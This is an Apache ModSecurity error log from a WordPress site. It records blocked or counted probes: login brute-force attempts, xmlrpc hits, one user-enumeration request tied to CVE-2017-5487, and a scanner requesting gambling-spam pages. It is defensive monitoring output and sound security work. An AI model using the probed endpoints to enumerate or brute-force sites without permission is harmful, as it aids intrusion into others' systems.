[Thu Mar 19 21:13:59.978605 2026] [:error] [pid 1247:tid 1249] [client 92.205.20.61:50712] [client 92.205.20.61] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 92.205.20.61, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abv2lw5tmeOr-yI4XNHjLAAAAcA"]
[Thu Mar 19 21:14:01.638661 2026] [:error] [pid 1247:tid 1254] [client 92.205.20.61:50712] [client 92.205.20.61] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 92.205.20.61, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abv2mQ5tmeOr-yI4XNHjLgAAAcU"], referer: https://gigfragments.org/wp-login.php
[Thu Mar 19 21:17:44.829539 2026] [:error] [pid 11014:tid 11042] [client 103.75.187.25:39042] [client 103.75.187.25] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.75.187.25, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abv3eDBVizvrAl0DfCAZTwAAAFc"]
[Thu Mar 19 21:17:46.548773 2026] [:error] [pid 11014:tid 11025] [client 103.75.187.25:39042] [client 103.75.187.25] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.75.187.25, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abv3ejBVizvrAl0DfCAZUgAAAEY"], referer: https://gigfragments.org/wp-login.php
[Thu Mar 19 21:17:49.469439 2026] [:error] [pid 1441:tid 1466] [client 110.4.40.116:51294] [client 110.4.40.116] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 110.4.40.116, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abv3fYf6BGzjfVNuehUgQAAAAxY"]
[Thu Mar 19 21:17:50.824327 2026] [:error] [pid 1441:tid 1463] [client 110.4.40.116:51294] [client 110.4.40.116] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 110.4.40.116, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abv3fof6BGzjfVNuehUgQQAAAxM"], referer: https://gigfragments.org/wp-login.php
[Thu Mar 19 21:23:03.827905 2026] [:error] [pid 11014:tid 11028] [client 31.141.254.52:58291] [client 31.141.254.52] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 31.141.254.52, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abv4tzBVizvrAl0DfCAZxwAAAEk"]
[Thu Mar 19 21:32:37.700612 2026] [:error] [pid 51091:tid 51125] [client 102.218.215.113:49688] [client 102.218.215.113] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 102.218.215.113, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abv69b7LZKhdJPD9CBvdIQAAAU4"]
[Thu Mar 19 21:32:39.668968 2026] [:error] [pid 51091:tid 51130] [client 102.218.215.113:49688] [client 102.218.215.113] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 102.218.215.113, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abv6977LZKhdJPD9CBvdKgAAAVM"], referer: https://gigfragments.org/wp-login.php
[Thu Mar 19 21:33:11.956416 2026] [:error] [pid 11016:tid 11095] [client 198.57.247.226:47534] [client 198.57.247.226] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.57.247.226, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abv7FxPK94J9G19C6uVYhgAAARY"]
[Thu Mar 19 21:33:13.664016 2026] [:error] [pid 11016:tid 11096] [client 198.57.247.226:47534] [client 198.57.247.226] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.57.247.226, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abv7GRPK94J9G19C6uVYhwAAARc"], referer: https://gigfragments.org/wp-login.php
[Thu Mar 19 21:34:06.141054 2026] [:error] [pid 1397:tid 1399] [client 173.239.254.93:29599] [client 173.239.254.93] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.93, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abv7Tnptc6vBjy-kgOMfogAAAsA"]
[Thu Mar 19 21:34:06.142228 2026] [:error] [pid 1247:tid 1257] [client 173.239.254.107:22471] [client 173.239.254.107] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.107, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abv7Tg5tmeOr-yI4XNHtCAAAAcg"]
[Thu Mar 19 21:35:57.809667 2026] [:error] [pid 1285:tid 1293] [client 31.141.254.52:65458] [client 31.141.254.52] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "abv7vVE95r3zR75X1HpFcwAAAgY"]
[Thu Mar 19 21:36:59.435046 2026] [:error] [pid 48106:tid 48138] [client 162.241.252.38:28850] [client 162.241.252.38] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.252.38, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abv7-8VZaUGvkz29lZEbywAAANg"]
[Thu Mar 19 21:37:02.450715 2026] [:error] [pid 1247:tid 1269] [client 162.241.252.38:47470] [client 162.241.252.38] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.252.38, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abv7_g5tmeOr-yI4XNHt-AAAAdQ"], referer: https://gigfragments.org/wp-login.php
[Thu Mar 19 21:37:09.332246 2026] [:error] [pid 1247:tid 1262] [client 162.144.22.106:60892] [client 162.144.22.106] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.144.22.106, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abv8BQ5tmeOr-yI4XNHuAwAAAc0"]
[Thu Mar 19 21:37:10.674798 2026] [:error] [pid 1247:tid 1264] [client 162.144.22.106:60892] [client 162.144.22.106] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.144.22.106, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abv8Bg5tmeOr-yI4XNHuCQAAAc8"], referer: https://gigfragments.org/wp-login.php
[Thu Mar 19 21:37:36.228094 2026] [:error] [pid 11014:tid 11026] [client 31.141.254.52:49892] [client 31.141.254.52] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 31.141.254.52, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abv8IDBVizvrAl0DfCAbAgAAAEc"]
[Thu Mar 19 21:39:05.344723 2026] [:error] [pid 11015:tid 11048] [client 31.141.254.52:50250] [client 31.141.254.52] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 31.141.254.52, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abv8efPcMwFQZAVfzLSGuAAAAII"]
[Thu Mar 19 21:40:27.302206 2026] [:error] [pid 1247:tid 1256] [client 31.141.254.52:50711] [client 31.141.254.52] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 31.141.254.52, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abv8yw5tmeOr-yI4XNHvxwAAAcc"]
[Thu Mar 19 21:41:19.044353 2026] [:error] [pid 1397:tid 1404] [client 192.185.176.194:36112] [client 192.185.176.194] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.185.176.194, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abv8_3ptc6vBjy-kgOMgqQAAAsU"]
[Thu Mar 19 21:41:20.897186 2026] [:error] [pid 1397:tid 1423] [client 192.185.176.194:36112] [client 192.185.176.194] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.185.176.194, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abv9AHptc6vBjy-kgOMgqgAAAtg"], referer: https://gigfragments.org/wp-login.php
[Thu Mar 19 21:41:44.579112 2026] [:error] [pid 11015:tid 11052] [client 31.141.254.52:51644] [client 31.141.254.52] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 31.141.254.52, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abv9GPPcMwFQZAVfzLSHcAAAAIY"]
[Thu Mar 19 21:45:03.479369 2026] [:error] [pid 51091:tid 51116] [client 106.215.139.142:22137] [client 106.215.139.142] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.215.139.142, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abv9377LZKhdJPD9CBvfIwAAAUU"]
[Thu Mar 19 21:46:59.181529 2026] [:error] [pid 11015:tid 11064] [client 147.135.252.148:60592] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "abv-U_PcMwFQZAVfzLSJEQAAAJI"]
[Thu Mar 19 21:47:01.183796 2026] [:error] [pid 11110:tid 11128] [client 147.135.252.148:57826] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "abv-VQSNPqGfikw7k8LG4wAAAA0"]
[Thu Mar 19 21:47:03.221677 2026] [:error] [pid 11015:tid 11067] [client 147.135.252.148:57838] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "abv-V_PcMwFQZAVfzLSJHQAAAJU"]
[Thu Mar 19 21:47:05.346759 2026] [:error] [pid 1247:tid 1261] [client 147.135.252.148:57846] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "abv-WQ5tmeOr-yI4XNH0SAAAAcw"]
[Thu Mar 19 21:47:07.302568 2026] [:error] [pid 11014:tid 11024] [client 147.135.252.148:42928] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "abv-WzBVizvrAl0DfCAcJAAAAEU"]
[Thu Mar 19 21:47:09.425356 2026] [:error] [pid 11016:tid 11084] [client 147.135.252.148:42934] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "abv-XRPK94J9G19C6uVZjwAAAQs"]
[Thu Mar 19 21:47:11.356404 2026] [:error] [pid 1285:tid 1303] [client 147.135.252.148:42950] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "abv-X1E95r3zR75X1HpKugAAAhA"]
[Thu Mar 19 21:47:13.352086 2026] [:error] [pid 11015:tid 11069] [client 147.135.252.148:42964] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "abv-YfPcMwFQZAVfzLSJKAAAAJc"]
[Thu Mar 19 21:47:15.423323 2026] [:error] [pid 1397:tid 1401] [client 147.135.252.148:42970] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "abv-Y3ptc6vBjy-kgOMhegAAAsI"]
[Thu Mar 19 21:47:17.476166 2026] [:error] [pid 1285:tid 1303] [client 147.135.252.148:34374] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "abv-ZVE95r3zR75X1HpKwQAAAhA"]
[Thu Mar 19 21:47:19.482383 2026] [:error] [pid 11014:tid 11041] [client 147.135.252.148:34388] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "abv-ZzBVizvrAl0DfCAcKQAAAFY"]
[Thu Mar 19 21:47:21.432507 2026] [:error] [pid 11110:tid 11116] [client 147.135.252.148:34392] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "abv-aQSNPqGfikw7k8LG8gAAAAE"]
[Thu Mar 19 21:47:23.237127 2026] [:error] [pid 1285:tid 1290] [client 147.135.252.148:34400] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "abv-a1E95r3zR75X1HpKzgAAAgM"]
[Thu Mar 19 21:47:25.200372 2026] [:error] [pid 1247:tid 1263] [client 147.135.252.148:34416] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "abv-bQ5tmeOr-yI4XNH0dwAAAc4"]
[Thu Mar 19 21:47:27.172144 2026] [:error] [pid 48106:tid 48131] [client 147.135.252.148:33760] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "abv-b8VZaUGvkz29lZEc7wAAANE"]
[Thu Mar 19 21:47:29.112507 2026] [:error] [pid 1247:tid 1253] [client 147.135.252.148:33764] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "abv-cQ5tmeOr-yI4XNH0iQAAAcQ"]
[Thu Mar 19 21:47:31.166677 2026] [:error] [pid 11110:tid 11118] [client 147.135.252.148:33776] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "abv-cwSNPqGfikw7k8LG9QAAAAM"]
[Thu Mar 19 21:47:33.005208 2026] [:error] [pid 51091:tid 51116] [client 147.135.252.148:33790] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "abv-db7LZKhdJPD9CBvfnAAAAUU"]
[Thu Mar 19 21:47:35.062288 2026] [:error] [pid 1247:tid 1272] [client 147.135.252.148:33800] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "abv-dw5tmeOr-yI4XNH0nAAAAdc"]
[Thu Mar 19 21:47:37.035196 2026] [:error] [pid 11110:tid 11130] [client 147.135.252.148:57986] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "abv-eQSNPqGfikw7k8LG_QAAAA8"]
[Thu Mar 19 21:47:38.862172 2026] [:error] [pid 11015:tid 11063] [client 147.135.252.148:57998] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "abv-evPcMwFQZAVfzLSJLQAAAJE"]
[Thu Mar 19 21:47:40.933918 2026] [:error] [pid 11016:tid 11097] [client 147.135.252.148:58010] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "abv-fBPK94J9G19C6uVZkgAAARg"]
[Thu Mar 19 21:47:43.117667 2026] [:error] [pid 1441:tid 1465] [client 147.135.252.148:58016] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "abv-f4f6BGzjfVNuehUiQAAAAxU"]
[Thu Mar 19 21:47:45.148675 2026] [:error] [pid 1247:tid 1256] [client 147.135.252.148:58030] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "abv-gQ5tmeOr-yI4XNH0oAAAAcc"]
[Thu Mar 19 21:47:47.092191 2026] [:error] [pid 11014:tid 11035] [client 147.135.252.148:36694] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "abv-gzBVizvrAl0DfCAcMwAAAFA"]
[Thu Mar 19 21:47:48.970474 2026] [:error] [pid 11015:tid 11065] [client 147.135.252.148:36706] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "abv-hPPcMwFQZAVfzLSJNAAAAJM"]
[Thu Mar 19 21:47:51.197997 2026] [:error] [pid 1247:tid 1256] [client 147.135.252.148:36722] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "abv-hw5tmeOr-yI4XNH0sgAAAcc"]
[Thu Mar 19 21:47:53.225226 2026] [:error] [pid 1285:tid 1295] [client 147.135.252.148:36732] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "abv-iVE95r3zR75X1HpK4AAAAgg"]
[Thu Mar 19 21:48:15.781970 2026] [:error] [pid 51091:tid 51115] [client 147.135.252.148:35650] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/789%20slot.aspx"] [unique_id "abv-n77LZKhdJPD9CBvfzwAAAUQ"]
[Thu Mar 19 21:48:17.669948 2026] [:error] [pid 1247:tid 1250] [client 147.135.252.148:36132] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/888%20slot.aspx"] [unique_id "abv-oQ5tmeOr-yI4XNH1EgAAAcE"]
[Thu Mar 19 21:48:19.782866 2026] [:error] [pid 11016:tid 11074] [client 147.135.252.148:36138] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/all%20slot.aspx"] [unique_id "abv-oxPK94J9G19C6uVZrAAAAQE"]
